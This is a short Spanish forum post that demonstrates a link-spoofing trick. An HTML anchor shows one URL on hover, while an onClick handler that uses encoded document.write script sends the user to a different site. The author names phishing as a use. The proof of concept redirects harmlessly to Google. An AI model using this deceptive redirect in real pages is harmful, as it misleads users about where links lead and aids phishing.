Esto permite que un website reciba una etiqueta especial de A HREF demostrando al usuario una localizacion pero dirigiendolo realmente a otra. Esto puede utilizarse en los casos de Phishing
y otros ataques.
La idea básica aquí deberia ser de escribir una etiqueta genuina <un href = ""> </a> ,pero que incluya un evento onClick que redireccionaria (window.location="";)hacia otra pagina.
Prueba de concepto:
Código:
<a href="http://microsoft.com"
onClick="document.write(unescape('%3cscript%3ewindow.location=%27http://google.com%27%3c/script%3e'))">Microsoft</a>
onClick="document.write(unescape('%3cscript%3ewindow.location=%27http://google.com%27%3c/script%3e'))">Microsoft</a>
Probando en un servidor:
http://ciberia.ya.com/webmousehack/index1.html
(si posicionas el raton sobre la palabra microsoft, en la parte inferior observaras la direccion ¨Http://microsoft.com/¨. Si haces click sobre la palabra ingresaras en ¨GOOGLE¨.)
Salu2










Autor


En línea





